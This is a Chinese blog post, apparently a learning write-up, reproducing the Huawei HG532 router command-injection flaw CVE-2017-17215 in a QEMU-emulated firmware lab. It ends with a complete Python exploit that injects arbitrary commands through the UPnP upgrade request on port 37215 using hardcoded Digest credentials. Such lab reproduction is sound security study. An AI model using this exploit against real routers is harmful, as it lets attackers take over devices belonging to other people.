前两次的漏洞复现都挺难挺费力的,这次来复现个简单点的:CVE-2017-17215 ,关于华为 HG532 路由器可能存在的远程代码执行。整个的复现过程还是比较顺利的,虽然也踩了不少坑,但解决的还都算快。
该漏洞的起因是upnp
服务中的NewStatsURL
和NewDownloadURL
标签存在命令注入,故可以在端口37215
上,向uri
为/ctrlt/DeviceUpgrade_1
的路径发送POST
报文来触发漏洞进行命令执行。
固件解压
下载固件,接着直接用binwalk对固件进行解压
binwalk -Me HG532eV100R001C02B015_upgrade_main.bin
|
仿真搭建
环境如下:
|
版本 |
宿主机 |
Ubuntu20.04 |
内核 |
vmlinux-2.6.32-5-4kc-malta |
映像 |
debian_squeeze_mips_standard.qcow2 |
qemu |
qemu-system-mips |
一开始用的内核是vmlinux-3.2.0-4-4kc-malta
这个版本的,但是在执行/bin/mic
的时候会报错,报错表示执行/bin/mic
的过程中会用到某个驱动或工具只支持内核2.6.20
,于是我就换成了更接近的2.6.32-5-4kc
(一开始换的是5-5kc
,没想到又精准踩坑,启动qemu的时候直接卡住了)是没问题的。
执行网络配置脚本net.sh:
#!/bin/sh #sudo ifconfig eth0 down sudo brctl addbr br0 sudo brctl addif br0 ens33 sudo brctl stp br0 off sudo brctl setfd br0 1 sudo brctl sethello br0 1 sudo ifconfig br0 0.0.0.0 promisc up sudo ifconfig ens33 0.0.0.0 promisc up sudo dhclient br0 sudo brctl show br0 sudo brctl showstp br0 sudo tunctl -t tap0 -u root sudo brctl addif br0 tap0 sudo ifconfig tap0 0.0.0.0 promisc up sudo brctl showstp br0
|
执行启动脚本start.sh:
#!/bin/bash sudo qemu-system-mips \ -cpu 74Kf \ -M malta \ -kernel /home/wen/Desktop/mips_qemu_system/vmlinux-2.6.32-5-4kc-malta \ -hda /home/wen/Desktop/mips_qemu_system/debian_squeeze_mips_standard.qcow2 \ -append "root=/dev/sda1 console=tty0" \ -nographic -net nic \ -net tap,ifname=tap0,script=no,downscript=no
|
登录查看IP,然后在宿主机上成功ping通即可。
为了方便后面的操作,可以执行以下命令,将路由器的文件系统根目录作为一个临时的chroot环境
cd squashfs-root mount --bind /proc ./proc mount --bind /dev ./dev chroot . /bin/sh
|
漏洞复现
根据 CVE-2017-17215 上面对该漏洞的描述可知,经过身份验证的攻击者可以向端口 37215 发送恶意数据包以发起攻击,即漏洞的关键点在于开启37215这个端口号。

搜索37215
,发现其存在于bin/mic
这个文件

执行/bin/mic
后,会占用当前这个终端,且此时网卡eth0
的IP没了,网桥br0
的IP也变成了192.168.1.1,因此我们也不能ssh连接再开一个终端
所以我们在ssh连接的终端上执行/bin/mic
文件就行了,然后在原终端执行ifconfig eth0 192.168.107.135/24 up
,为网卡eth0
重新配置IP,如下:
执行netstat -a
显示本地已打开的端口,发现此时37215
端口已被成功监听
用nmap -p 37215 192.168.107.135
扫描端口,同样显示37215
已打开
接下来我们执行下面的脚本,向端口37215
发送恶意数据报以发起攻击
import requests
Authorization = "Digest username=dslf-config, realm=HuaweiHomeGateway, nonce=88645cefb1f9ede0e336e3569d75ee30, uri=/ctrlt/DeviceUpgrade_1, response=3612f843a42db38f48f59d2a3597e19c, algorithm=MD5, qop=auth, nc=00000001, cnonce=248d1a2560100669" headers = {"Authorization": Authorization}
print("-----CVE-2017-17215 HUAWEI HG532 RCE-----\n") cmd = input("command > ")
data = f''' <?xml version="1.0" ?> <s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"> <s:Body> <u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"> <NewStatusURL>;{cmd};</NewStatusURL> <NewDownloadURL>;{cmd};</NewDownloadURL> </u:Upgrade> </s:Body> </s:Envelope> '''
r = requests.post('http://192.168.107.135:37215/ctrlt/DeviceUpgrade_1', headers = headers, data = data) print("\nstatus_code: " + str(r.status_code)) print("\n" + r.text)
|
输入任意命令让其执行,这里我输入mkdir wen
来创建一个目录

此时之前执行/bin/mic
处的回显如下:
同时执行ls,发现目录创建成功
一些疑问
看其他师傅的文章有提到有CVE披露的报告中说upnp二进制文件是此次漏洞的来源,经过对upnp文件的逆向分析后,我也确实在该文件中发现了命令注入,但是一个作为恶意数据的来源,一作为恶意数据最后被执行的地方,我目前还不知道mic
和upnp
这两个文件之间的联系,可能这也是我为什么觉得这次的复现很简单了……
参考文章
一些经典IoT漏洞的分析与复现(新手向) - IOTsec-Zone
CVE-2017-17215复现(华为HG532命令执行) | ZIKH26’s Blog
HG532命令执行漏洞复现(CVE-2017-17215)_安装attifyos v3.0虚拟机-CSDN博客